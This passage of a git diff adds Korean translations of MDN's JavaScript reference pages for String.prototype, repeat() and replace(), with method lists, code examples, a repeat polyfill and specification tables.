+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.padStart")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padEnd()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/prototype/index.html b/files/ko/web/javascript/reference/global_objects/string/prototype/index.html
new file mode 100644
index 0000000000..707680d3c4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Global_Objects/String/prototype
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><strong><code>String.prototype</code></strong> 프라퍼티는 {{jsxref("Global_Objects/String", "String")}} 프로토타입 오브젝트를 표현하고 있습니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>모든 {{jsxref("Global_Objects/String", "String")}} 인스턴스들은 <code>String.prototype</code>를 상속합니다. <code>String</code> 프라퍼티 오브젝트를 변경하면, 그 변경은 모든 {{jsxref("Global_Objects/String", "String")}} 인스턴스들에 영향을 주게 됩니다.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>오브젝트의 프로토타입을 생성하는 함수를 명세합니다.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>문자열의 길이를 반영합니다.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd><em>N</em>번째 위치에 있는 문자에 접근하기 위해 사용합니다.  <em>N</em> 은 0과 {{jsxref("String.length", "length")}}보다 작은 값 사이에 있는 양의 정수입니다. 이 퍼라퍼티들은 읽기 전용(read-only) 속성을 가지고 있습니다. </dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<h3 id="Methods_unrelated_to_HTML" name="Methods_unrelated_to_HTML">HTML과 관련이 없는 메서드</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>문자열 내 특정 위치(index)에 있는 문자를 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>문자열 내 주어진 위치(index)에 있는 문자의 유니코드 값을 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}</dt>
+ <dd>주어진 위치에 있는 UTF-16으로 인코딩된 코드 포인터값인 음수가 아닌 정수값을 반환합니다. </dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>두 문자열의 문자를 합쳐서 새로운 문자열로 만든 다음, 그 새로운 문자열을 반환합니다. </dd>
+ <dt>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>문자열 내에 찾고자 하는 문자열이 있는지를 확인합니다. </dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</dt>
+ <dd>문자열에서 특정 문자열로 끝나는지를 확인할 수 있습니다.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>{{jsxref("Global_Objects/String", "String")}} 오브젝트에 있는 특정 값이 일치하는 첫 번째 인덱스 값을 반환하며, 일치하는 값이 없을 경우에는 -1을 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String" title="String 글로벌 오브젝트는 문자열의 생성자, 또는 문자열의 순서입니다."><code>String</code></a> 오브젝트에서 <code>fromIndex</code>로부터 반대방향으로 찾기 시작하여 특정 값이 일치하는 마지막 인덱스를 반환합니다. 문자열에서 일치하는 특정 값이 없으면 <code>-1</code>을 리턴합니다.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Used to match a regular expression against a string.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}</dt>
+ <dd>Returns the Unicode Normalization Form of the calling string value.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Wraps the string in double quotes ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string consisting of the elements of the object repeated the given times.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Used to find a match between a regular expression and a string, and to replace the matched substring with a new substring.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Executes the search for a match between a regular expression and a specified string.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Extracts a section of a string and returns a new string.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Splits a {{jsxref("Global_Objects/String", "String")}} object into an array of strings by separating the string into substrings.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a string begins with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Returns the characters in a string beginning at the specified location through the specified number of characters.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Returns the characters in a string between two indexes into the string.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Returns the calling string value converted to lower case.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an object literal representing the specified object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified object. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Returns the calling string value converted to uppercase.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.</dd>
+ <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the left side of the string.</dd>
+ <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the right side of the string.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of the specified object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that iterates over the code points of a String value, returning each code point as a String value.</dd>
+</dl>
+
+<h3 id="HTML_wrapper_methods" name="HTML_wrapper_methods">HTML wrapper methods</h3>
+
+<p>These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"rul\"&gt;")}} (link to URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/repeat/index.html b/files/ko/web/javascript/reference/global_objects/string/repeat/index.html
new file mode 100644
index 0000000000..8e1d67988b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/repeat/index.html
@@ -0,0 +1,113 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Reference/Global_Objects/String/repeat
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>repeat()</code></strong> 메서드는 문자열을 주어진 횟수만큼 반복해 붙인 새로운 문자열을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre><code><var>str</var>.repeat(<var>count</var>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>문자열을 반복할 횟수. 0과 양의 무한대 사이의 정수([0, +∞)).</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>현재 문자열을 주어진 횟수만큼 반복해 붙인 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: 반복 횟수는 양의 정수여야 함.</li>
+ <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: 반복 횟수는 무한대보다 작아야 하며, 최대 문자열 크기를 넘어선 안됨.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">'abc'.repeat(-1); // RangeError
+'abc'.repeat(0); // ''
+'abc'.repeat(1); // 'abc'
+'abc'.repeat(2); // 'abcabc'
+'abc'.repeat(3.5); // 'abcabcabc' (count will be converted to integer)
+'abc'.repeat(1/0); // RangeError
+
+({ toString: () =&gt; 'abc', repeat: String.prototype.repeat }).repeat(2);
+// 'abcabc' (repeat() is a generic method)
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>repeat</code>은 ECMAScript 2015 명세에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 그러나 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">repeat</span></font>을 사용할 수 있습니다.</p>
+
+<pre dir="rtl"><code>if (!String.prototype.repeat) {
+ String.prototype.repeat = function(count) {
+ 'use strict';
+ if (this == null) {
+ throw new TypeError('can\'t convert ' + this + ' to object');
+ }
+ var str = '' + this;
+ count = +count;
+ if (count != count) {
+ count = 0;
+ }
+ if (count &lt; 0) {
+ throw new RangeError('repeat count must be non-negative');
+ }
+ if (count == Infinity) {
+ throw new RangeError('repeat count must be less than infinity');
+ }
+ count = Math.floor(count);
+ if (str.length == 0 || count == 0) {
+ return '';
+ }
+ // Ensuring count is a 31-bit integer allows us to heavily optimize the
+ // main part. But anyway, most current (August 2014) browsers can't handle
+ // strings 1 &lt;&lt; 28 chars or longer, so:
+ if (str.length * count &gt;= 1 &lt;&lt; 28) {
+ throw new RangeError('repeat count must not overflow maximum string size');
+ }
+ var maxCount = str.length * count;
+ count = Math.floor(Math.log(count) / Math.log(2));
+ while (count) {
+ str += str;
+ count--;
+ }
+ str += str.substring(0, maxCount - str.length);
+ return str;
+ }
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.repeat")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/string/replace/index.html b/files/ko/web/javascript/reference/global_objects/string/replace/index.html
new file mode 100644
index 0000000000..3b189bfbf5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/replace/index.html
@@ -0,0 +1,299 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Reference/Global_Objects/String/replace
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>replace()</code></strong> 메서드는 어떤 패턴에 일치하는 일부 또는 모든 부분이 교체된 새로운 문자열을 반환합니다. 그 패턴은 문자열이나 정규식({{jsxref("RegExp")}})이 될 수 있으며, 교체 문자열은 문자열이나 모든 매치에 대해서 호출된 함수일 수 있습니다.</p>
+
+<p> </p>
+
+<p>pattern이 문자열 인 경우, 첫 번째 문자열만 치환이 되며 원래 문자열은 변경되지 않습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-replace.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre><code>var newStr = str.replace(regexp|substr, newSubstr|function)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code> (pattern)</dt>
+ <dd>정규식({{jsxref ( "RegExp")}}) 객체 또는 리터럴. 일치하는 항목은 <code>newSubStr</code> 또는 지정된 함수(<code>function</code>)가 반환 한 값으로 대체됩니다.</dd>
+ <dt><code>substr</code> (pattern)</dt>
+ <dd><code>newSubStr</code>로 대체 될 {{jsxref ( "String")}}. 정규식이 아닌 글자 그대로의 문자열로 처리됩니다. 오직 첫 번째 일치되는 문자열만이 교체됩니다.</dd>
+ <dt><code>newSubStr</code> (replacement)</dt>
+ <dd>첫번째 파라미터를 대신할 문자열({{jsxref("String")}}). 여러가지 대체 패턴들이 지원됩니다. 아래의 "<a href="#Specifying_a_string_as_a_parameter">매개변수가 <code>string</code>으로 지정되었을 때</a>" 섹션을 참고하세요.</dd>
+ <dt><code>function</code> (replacement)</dt>
+ <dd>주어진 <code>regexp</code> 또는 <code>substr</code>에 일치하는 요소를 대체하는 데 사용될 새 하위 문자열을 생성하기 위해 호출되는 함수. 이 함수에 제공되는 인수는 아래 "<a href="#Specifying_a_function_as_a_parameter">매개변수가 <code>function</code>으로 지정되었을 때</a>"단원에서 설명합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>어떤 패턴에 일치하는 일부 또는 모든 부분이 교체된 새로운 문자열</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 호출된 {{jsxref("String")}} 객체를 바꾸지 않습니다. 단순히 새로운 문자열을 리턴합니다.</p>
+
+<p>모든 문자열에 대해 검색하고 바꾸려면 정규표현식의 <code>g</code>플래그를 포함하세요.</p>
+
+<h3 id="매개변수가_string으로_지정되었을_때">매개변수가 <code>string</code>으로 지정되었을 때</h3>
+
+<p><code>replacement</code> 문자열은 다음과 같은 특수 교체 패턴을 포함할 수 있습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Pattern</td>
+ <td class="header">Inserts</td>
+ </tr>
+ <tr>
+ <td><code>$$</code></td>
+ <td> "<code>$</code>" 기호를 삽입합니다.</td>
+ </tr>
+ <tr>
+ <td><code>$&amp;</code></td>
+ <td>매치된 문자열을 삽입합니다.</td>
+ </tr>
+ <tr>
+ <td><code>$`</code></td>
+ <td>매치된 문자열 앞쪽까지의 문자열을 삽입합니다.</td>
+ </tr>
+ <tr>
+ <td><code>$'</code></td>
+ <td>매치된 문자열의 문자열을 삽입합니다.</td>
+ </tr>
+ <tr>
+ <td><code>$<em>n</em></code></td>
+ <td>
+ <p><em><code>n</code></em>이 1이상 99이하의 정수라면, 첫번째 매개변수로 넘겨진 {{jsxref("RegExp")}}객체에서 소괄호로 묶인 <em><code>n</code></em>번째의 부분 표현식으로 매치된 문자열을 삽입합니다.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="매개변수가_function으로_지정되었을_때">매개변수가 <code>function</code>으로 지정되었을 때</h3>
+
+<p>두번째 매개변수로 함수를 지정할 수 있습니다. 이 경우, 함수는 정규표현식 매치가 수행된 후 호출될 것입니다. 함수의 반환값은 교체될 문자열이 됩니다. (참고: 윗쪽에서 언급된 특수 교체 패턴은 반환값에 <em>적용되지 않습니다.</em>) 만약 정규표현식의 플래그로 글로벌(<code>g</code>)이 오는 경우, 함수는 매치될 때마다 계속 호출될 것입니다. </p>
+
+<p>함수의 매개변수들은 다음과 같습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Possible name</td>
+ <td class="header">Supplied value</td>
+ </tr>
+ <tr>
+ <td><code>match</code></td>
+ <td>매치된 문자열. (윗쪽의 <code>$&amp; </code>표현식으로 매치된 경우와 동일합니다.)</td>
+ </tr>
+ <tr>
+ <td><code>p1,<br>
+ p2,<br>
+ ...</code></td>
+ <td>윗쪽의 $n 표현식과 동일합니다. (<code>$1</code>은 <code>p1</code>, <code>$2</code>는 <code>p2</code>...) 예를 들어, 만약 정규표현식 <code>/(\a+)(\b+)/</code> 이 주어진다면<code><font face="Open Sans, Arial, sans-serif"> </font></code><code>p1</code>은 <code>\a+</code>와 매치되고 <code>p2</code>는 <code>\b+</code>와 매치됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>offset</code></td>
+ <td>조사된 전체 문자열 중에서 매치된 문자열의 <code>index.</code>(예를 들어, 조사될 전체 문자열이 <code>abcd</code>이고, 매치된 문자열이 <code>bc</code>면 이 매개변수의 값은 1이 됩니다.)</td>
+ </tr>
+ <tr>
+ <td><code>string</code></td>
+ <td>조사된 전체 문자열 (<code>replace</code>를 호출한 <code>string</code>)</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>인수의 정확한 수는 첫 번째 인수가 {{jsxref ( "RegExp")}} 객체인지 아닌지에 따라 다르며, 소괄호로 묶이는 부분표현식의 갯수에 따라 달라집니다.</p>
+
+<p> </p>
+
+<p>다음 예제는 <code>newString</code>을 <code>'abc - 12345 - #$*%'</code>로 교체합니다:</p>
+
+<pre><code>function replacer(match, p1, p2, p3, offset, string) {
+ // p1 is nondigits, p2 digits, and p3 non-alphanumerics
+ return [p1, p2, p3].join(' - ');
+}
+var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer);
+console.log(newString); // abc - 12345 - #$*%</code></pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="replace()의_정규표현식_정의"><code>replace()</code>의 정규표현식 정의</h3>
+
+<p>다음 예제에서, 대소문자를 구분하지 않는 정규표현식을 <code>replace()</code>에 정의했습니다.</p>
+
+<pre class="brush: js">var str = 'Twas the night before Xmas...';
+var newstr = str.replace(/xmas/i, 'Christmas');
+console.log(newstr); // Twas the night before Christmas...
+</pre>
+
+<p>'Twas the night before Christmas...'로 출력됩니다.</p>
+
+<h3 id="global과_ignore를_사용한_replace()"><code>global</code>과 <code>ignore</code>를 사용한 <code>replace()</code></h3>
+
+<p>Global replace는 정규식으로만 수행 할 수 있습니다. 다음 예제에서 정규 표현식은 replace()가 'apples'를 'oranges'로 바꿀 수 있도록 global 및 ignore case 플래그를 포함합니다.</p>
+
+<pre class="brush: js">var re = /apples/gi;
+var str = 'Apples are round, and apples are juicy.';
+var newstr = str.replace(re, 'oranges');
+console.log(newstr); // oranges are round, and oranges are juicy.
+</pre>
+
+<p>'오렌지는 둥글고 오렌지는 맛있습니다.' 가 출력됩니다.</p>
+
+<p> </p>
+
+<h3 id="문자열의_단어_치환">문자열의 단어 치환</h3>
+
+<p>다음 스크립트는 문자열의 단어를 전환합니다. 대체 텍스트의 경우 스크립트는 <code>$1</code> 와 <code>$2</code> 대체 패턴을 사용합니다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr); // Smith, John
+</pre>
+
+<p>'Smith, John.'이 출력됩니다.</p>
+
+<h3 id="Using_an_inline_function_that_modifies_the_matched_characters">Using an inline function that modifies the matched characters</h3>
+
+<p> </p>
+
+<p>이 예제에서 문자열의 대문자가 모두 소문자로 변환되고 일치되는 위치 바로 앞에 하이픈이 삽입됩니다. 여기에서 중요한 점은 일치되는 항목이 대체 항목으로 다시 반환되기 전에 추가 작업이 필요하다는 것입니다.</p>
+
+<p>바꾸기 기능은 일치하는 스니펫을 매개 변수로 받고 이를 사용하여 각 케이스별로 변환한후 반환하기 전에 하이픈을 연결합니다.</p>
+
+<p> </p>
+
+<pre class="brush: js">function styleHyphenFormat(propertyName) {
+ function upperToHyphenLower(match) {
+ return '-' + match.toLowerCase();
+ }
+ return propertyName.replace(/[A-Z]/g, upperToHyphenLower);
+}
+</pre>
+
+<p>Given <code>styleHyphenFormat('borderTop')</code>, this returns 'border-top'.</p>
+
+<p>Because we want to further transform the <em>result</em> of the match before the final substitution is made, we must use a function. This forces the evaluation of the match prior to the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} method. If we had tried to do this using the match without a function, the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} would have no effect.</p>
+
+<pre class="brush: js">var newString = propertyName.replace(/[A-Z]/g, '-' + '$&amp;'.toLowerCase()); // won't work
+</pre>
+
+<p>This is because <code>'$&amp;'.toLowerCase()</code> would be evaluated first as a string literal (resulting in the same <code>'$&amp;'</code>) before using the characters as a pattern.</p>
+
+<h3 id="Replacing_a_Fahrenheit_degree_with_its_Celsius_equivalent">Replacing a Fahrenheit degree with its Celsius equivalent</h3>
+
+<p>The following example replaces a Fahrenheit degree with its equivalent Celsius degree. The Fahrenheit degree should be a number ending with F. The function returns the Celsius number ending with C. For example, if the input number is 212F, the function returns 100C. If the number is 0F, the function returns -17.77777777777778C.</p>
+
+<p>The regular expression <code>test</code> checks for any number that ends with F. The number of Fahrenheit degree is accessible to the function through its second parameter, <code>p1</code>. The function sets the Celsius number based on the Fahrenheit degree passed in a string to the <code>f2c()</code> function. <code>f2c()</code> then returns the Celsius number. This function approximates Perl's <code>s///e</code> flag.</p>
+
+<pre class="brush: js">function f2c(x) {
+ function convert(str, p1, offset, s) {
+ return ((p1 - 32) * 5/9) + 'C';
+ }
+ var s = String(x);
+ var test = /(-?\d+(?:\.\d*)?)F\b/g;
+ return s.replace(test, convert);
+}
+</pre>
+
+<h3 id="Use_an_inline_function_with_a_regular_expression_to_avoid_for_loops">Use an inline function with a regular expression to avoid <code>for</code> loops</h3>
+
+<p>The following example takes a string pattern and converts it into an array of objects.</p>
+
+<p><strong>Input:</strong></p>
+
+<p>A string made out of the characters <code>x</code>, <code>-</code> and <code>_</code></p>
+
+<pre>x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___
+</pre>
+
+<p><strong>Output:</strong></p>
+
+<p>An array of objects. An <code>'x'</code> denotes an <code>'on'</code> state, a <code>'-'</code> (hyphen) denotes an <code>'off'</code> state and an <code>'_'</code> (underscore) denotes the length of an <code>'on'</code> state.</p>
+
+<pre class="brush: json">[
+ { on: true, length: 1 },
+ { on: false, length: 1 },
+ { on: true, length: 2 }
+ ...
+]
+</pre>
+
+<p><strong>Snippet:</strong></p>
+
+<pre class="brush: js">var str = 'x-x_';
+var retArr = [];
+str.replace(/(x_*)|(-)/g, function(match, p1, p2) {
+ if (p1) { retArr.push({ on: true, length: p1.length }); }
+ if (p2) { retArr.push({ on: false, length: 1 }); }
+});
+
+console.log(retArr);
+</pre>
+
+<p>This snippet generates an array of 3 objects in the desired format without using a <code>for</code> loop.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div> </div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.String.replace")}}</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>replace()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
